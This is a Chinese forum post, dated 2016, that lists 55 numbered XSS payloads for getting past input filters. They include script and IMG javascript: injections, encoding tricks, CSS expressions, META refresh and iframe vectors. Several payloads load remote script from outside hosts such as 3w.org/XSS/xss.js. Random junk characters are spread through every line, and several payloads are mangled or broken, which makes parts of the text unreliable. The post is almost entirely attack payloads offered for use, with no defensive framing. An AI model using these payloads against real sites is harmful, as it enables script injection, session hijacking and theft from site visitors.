(1)普通的XSS JavaScript注入) f4 l6 L U. ]5 D0 j: u/ n* W
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>9 N$ ~3 m1 c' P2 k6 l7 d
(99)另类弹框
5 S) j2 I/ l6 s" Q1 a) n<q/oncut=alert()>1
y k% w) H$ O8 u<s/onclick=alert()>b
7 O2 l& r! R0 P" F. w+ v2 } i <XSS=" onclick="alert(1)//">clickme</SSX=">' m7 L9 e0 y% i. B% ]3 f
<zzz onclick=alert`1`>clickme</zzz>
2 ]5 \9 a) L, {5 k- e! z. G <a onclick=alert`1`>clickme</a>
: I. {8 V+ f" r1 ^4 D# { }<a=">clickme</a=">
/ n6 b; @) N( N1 s, W3 h<a=">clickme</a>; I' J9 Q4 z: I' I. l/ }
<z=">clickme</z=">
* p5 S) y8 c1 N. V<z onclick=alert`1`>clickme</z>
" V# z8 U c$ d) W( h4 B8 O2 X2 m3 n, f/ w- w: n5 u" R' O) D$ f) j
(2)IMG标签XSS使用JavaScript命令" i' {( z- G. y, t. u$ j% r7 l _
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
2 O4 w5 t7 h- p) @
) n( w/ @+ m7 q(3)IMG标签无分号无引号
& }, G) ]$ M" N/ E/ p3 ^8 k4 _<IMG SRC=javascript:alert(‘XSS’)>5 Z0 Q# E! L) Z1 ~
) Z/ E4 ?* H- n* b6 c, R% d(4)IMG标签大小写不敏感
7 N1 ?( H% w. E& B4 b- ]<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
: x$ @, K( B6 H8 j/ j9 Y0 R. J2 x' v4 J4 z
(5)HTML编码(必须有分号): E: A% K+ I3 [: Q& o. x: h! A3 l
<IMG SRC=javascript:alert(“XSS”)>
1 i& K$ Y2 @$ A1 `# O, A, L# l$ g( C! D) a
(6)修正缺陷IMG标签* \. X. C& m; g O
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>; q- I9 j4 q& f; s$ `
( G" B, x& l* h
(7)formCharCode标签(计算器)
7 p/ Y6 k! {9 Y% S5 i5 C<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>/ {& o; N- N: d2 I
, R4 y% Z! K. b5 y9 u5 O(8)UTF-8的Unicode编码(计算器)
2 f, u: S2 z8 i2 h2 }* x<IMG SRC=jav..省略..S')>- U/ h, s; D. k; I1 Q; j
, R& I$ y. ]$ r6 F j7 s t3 ~
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
& D D: J% U8 Z<IMG SRC=jav..省略..S')>
0 [7 }1 |+ R" `! H D8 P8 |' Q8 v4 @. p
. A- |3 R5 N/ S: _5 v `5 Z(10)十六进制编码也是没有分号(计算器)4 H8 \0 {! O/ R$ l' E- A$ b
<IMG SRC=\'#\'" /span>8 @+ s( J- \9 l6 |5 } L
2 A6 X, w/ P( t! u t( F) k: ^. |
(11)嵌入式标签,将Javascript分开
' f& B2 z: o& i( ?5 R<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>& i$ I# W- f7 f5 F* H
$ U. C" n& N0 \9 ^" E5 ?! z5 l) L: k(12)嵌入式编码标签,将Javascript分开9 f7 |+ e1 l; D4 i
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
1 n, z& {7 t5 x/ B8 P6 g# W$ ^
2 ~' O; N# Q# Q/ M4 v7 x, j(13)嵌入式换行符" k8 @. L" Y7 |* r f8 \0 G
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
/ ?+ _! r) v3 m }5 u) }1 F9 g( E( E" J; M# ^
(14)嵌入式回车/ D6 D& [0 h8 |. k" _. U
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
9 c3 y1 o7 a" z1 E2 x! H; l3 `/ o" n
(15)嵌入式多行注入JavaScript,这是XSS极端的例子, S! j- U V" L: n, M; @( A: H6 N
<IMG SRC=\'#\'" /span>
/ N4 P6 L i5 o, `1 i, y; |0 _+ B6 Q6 P' ?7 K
(16)解决限制字符(要求同页面)
8 G4 s% R3 X' K2 ]8 }! ~0 S% q T<script>z=’document.’</script>$ D9 j+ y R* G X/ ^
<script>z=z+’write(“‘</script>0 c/ U/ ]! h% A5 ~
<script>z=z+’<script’</script>, d/ `! Q/ O1 k5 e
<script>z=z+’ src=ht’</script>& u: C& e+ Q7 q$ d7 o4 A
<script>z=z+’tp://ww’</script>+ Q1 m4 ], J- Y- G/ V: J1 j
<script>z=z+’w.shell’</script>
6 o% J/ v2 M3 j1 K- [<script>z=z+’.net/1.’</script>% c0 c6 ]0 f- [. |3 z
<script>z=z+’js></sc’</script>. A' o/ m; S! _7 V* C3 I
<script>z=z+’ript>”)’</script>/ i. L3 b1 o% z/ j) {
<script>eval_r(z)</script>- p' {; O& N6 ^
( I+ v5 H8 R- N, k# S
(17)空字符
$ V% l0 g6 o' p `. f& H3 M2 M. kperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
6 _. s) v* h" c0 e0 u& C0 E9 Z; ]$ C# n- w* R+ v4 f
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用9 O* E8 q+ i" w2 U" z: T6 T' v
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
) J+ p- [% S$ y& ?1 ` x& w# k6 n% a0 H( ^
(19)Spaces和meta前的IMG标签
$ p( ?2 H- C/ c% ^3 c<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>
7 V+ _$ ?8 {( C+ r& D6 J* ]" V/ V9 ?/ p
(20)Non-alpha-non-digit XSS
; R4 p5 A5 }5 b1 ^9 B<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>( u, P7 \5 D' r! Z& l# u: m
' S) |+ V% [9 z7 _0 R% J S
(21)Non-alpha-non-digit XSS to 2
$ a% H0 v- \9 {% x9 ?" ~3 y<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>! O- H+ {: |( {4 ~; T, c, q
" F" e( n" R9 p2 S7 _3 Q(22)Non-alpha-non-digit XSS to 3
. C. W) G6 `4 K( `+ {<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
c7 b. `0 O4 K
3 ] [6 H3 y: x$ b% b" ^8 B0 e(23)双开括号
6 B0 p7 i# x: w' Y<<SCRIPT>alert(“XSS”);//<</SCRIPT>
" C+ d& j. [% p; E4 `* E/ Q- e7 g0 B( X& D
(24)无结束脚本标记(仅火狐等浏览器)
8 C+ [0 b) n% z3 W/ Z<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
7 P ^" O, ^8 i7 y& o, C
5 g9 I- Y B; Z" U- c" w; Q) l(25)无结束脚本标记24 r# Z- H& @3 X: d. p- N
<SCRIPT SRC=//3w.org/XSS/xss.js>
& h8 j! H! {! R. r, x
" g7 @. ]4 S) v" j(26)半开的HTML/JavaScript XSS! o2 X$ ^* [' Y0 Y
<IMG SRC=\'#\'" /span>" ]* ]/ h+ n6 \' v* e F. z! ^
! r- w, V; N/ d; n(27)双开角括号
& |; K1 g( Z# S0 g% M9 b5 k<iframe src=http://3w.org/XSS.html <
% s+ e- ?3 u: X1 X4 i! M z8 i7 [/ e+ x2 J% [8 {3 |& E
(28)无单引号 双引号 分号' a; E% A8 n$ q+ L
<SCRIPT>a=/XSS/
. U# ?; a \* x9 \/ n2 [alert(a.source)</SCRIPT> g: k" r1 f& K% G$ i: e
, l+ J, {! k- U, _/ H
(29)换码过滤的JavaScript5 C4 ?1 T5 \+ h/ L3 X. ^+ ~ h
\”;alert(‘XSS’);//
' _, A2 k" _4 L
# M. q8 }2 r" l! V/ @(30)结束Title标签
& F1 l/ g d# q8 C. _1 Q</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>' Q8 d' z! F( q1 @
8 r) E% ?5 i5 M; N) B
(31)Input Image
) c7 W2 q! p7 z, ^# I/ c. t<INPUT SRC=\'#\'" /span>8 u; k& F0 K" N; n- g
+ J* E7 G3 X# [' \9 L
(32)BODY Image9 g- G: x, ?0 E8 p$ P
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>% O x! c9 V( b9 x/ O4 Y2 x3 q
2 h6 F! [, F2 G" A: j(33)BODY标签
7 T6 t8 Z8 O- d3 }. @; W<BODY(‘XSS’)># ] m- \7 H% d8 g4 M1 q3 e& w' C- M
7 r% c* v! y5 }% e(34)IMG Dynsrc
: W3 K( |% D& }6 m' T' v2 j<IMG DYNSRC=\'#\'" /span>
' q7 r! X; `( L0 j( {- Y8 B- h; z6 Z& ]$ l5 {) r8 A2 V7 X2 \# E9 Z
(35)IMG Lowsrc3 G7 m1 |! V( a6 e
<IMG LOWSRC=\'#\'" /span>
, R, r7 q& Q H; R
2 i6 M* A6 {& u7 q- N(36)BGSOUND: D8 i. \# S ?$ o; d( a8 a) m
<BGSOUND SRC=\'#\'" /span>$ W0 k/ i5 e: Q* F" E- z$ X
8 x/ I* I$ S- v7 J2 h7 X(37)STYLE sheet9 {8 H* i- y8 g- V
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>" {3 ?4 `3 I. ]3 t7 F% q* ]" p
" M" L' r7 P: Y7 \
(38)远程样式表
4 k. H8 W2 ~: \/ A1 p) j) w8 M; @0 B<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
6 S/ u3 k, }" f4 e) Q
% }3 U; ^3 F8 u' G! ?2 Y(39)List-style-image(列表式)
2 o. g, J# |1 _# ^* ]. n( w<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
* m9 m3 ~. C6 S- m2 _
9 t+ t) C' e! b z6 L& n( O# d8 u(40)IMG VBscript& U* e7 d3 z" h: P6 Z
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
1 H# }* G# m# ]' B3 T& s7 ^( F2 A3 E' V% o! i
(41)META链接url
; `" l2 G0 f0 l" V, x& P<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
9 g" a# p; ^$ W% z% }& P, R: m
(42)Iframe; a7 ?# v/ v2 ]
<IFRAME SRC=\'#\'" /IFRAME>
6 w9 x. j: }9 w' d/ f6 B: ?' `6 q( M3 }5 t( u. [$ @- w
(43)Frame! Q" F; ?, e4 U c( P- r
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
+ V6 U" ^ N0 q1 F, V0 i2 i* F2 R
(44)Table
; ]2 |' {4 b; N4 Y; T0 N# U<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>' D/ @8 @* w( g7 p7 v$ N
9 e/ K& l& ]( D7 \(45)TD, ~( v% e: x& l% V9 w
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
6 D1 ?5 r5 D" d5 U/ m" d4 | _* C+ a3 J+ @
(46)DIV background-image( T; G+ Q Z. G5 L9 x, b2 C5 P
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
6 x; g* \0 S! I! s: N3 B/ `: N0 V, |- S7 i4 ?& r, v' s8 }/ w
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
' T. [% y0 w9 ^4 Z6 X( U4 ` C# R<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>4 v+ q. U* y" q5 U- t
* T f+ `3 p; v7 k5 K% q
(48)DIV expression
! A+ H( F d# N, t<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
7 J( \. h3 k" g5 s' P' n1 |$ \6 X. Q: e$ \6 y' C
(49)STYLE属性分拆表达
3 u2 D9 T% [: g' u<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
' l$ Z( Q& U+ `- r+ h# J
+ b1 x. e# B7 M(50)匿名STYLE(组成:开角号和一个字母开头)! D; i4 s' t i. `6 y; k: M
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
" B' |2 }; r- w* w2 ~ r' M3 M& C
' L$ Z0 h+ ]0 ]* i" h+ f(51)STYLE background-image6 x4 q+ H- ^: f& I$ s5 H: b2 Y
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A># R5 J0 q; R0 l$ d/ H! y# r' ?$ B
/ d# g% m7 i* b5 s# j; g( f- M& B(52)IMG STYLE方式
. u" x0 e* t0 S4 _* V+ P0 k) c. zexppression(alert(“XSS”))’>
0 ~* H% k% x4 [
+ ^* |5 t. \6 z9 B+ O7 N(53)STYLE background
0 g4 A, m8 @, s<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
' e( _$ Z9 q; |3 I, F2 E/ k3 P- g+ A
(54)BASE) c( W/ R& j+ G' |$ U, T2 A
<BASE HREF=”javascript:alert(‘XSS’);//”>2 o$ t/ H9 y0 o! E: W( M) w
2 ~, ]0 _ x; p) W& N% q7 b$ M(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
# {& f- v/ g% B$ d+ B: I<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>
% F3 w q7 \/ z( s |
发表于 2016-4-28 10:06:15
收藏
支持
反对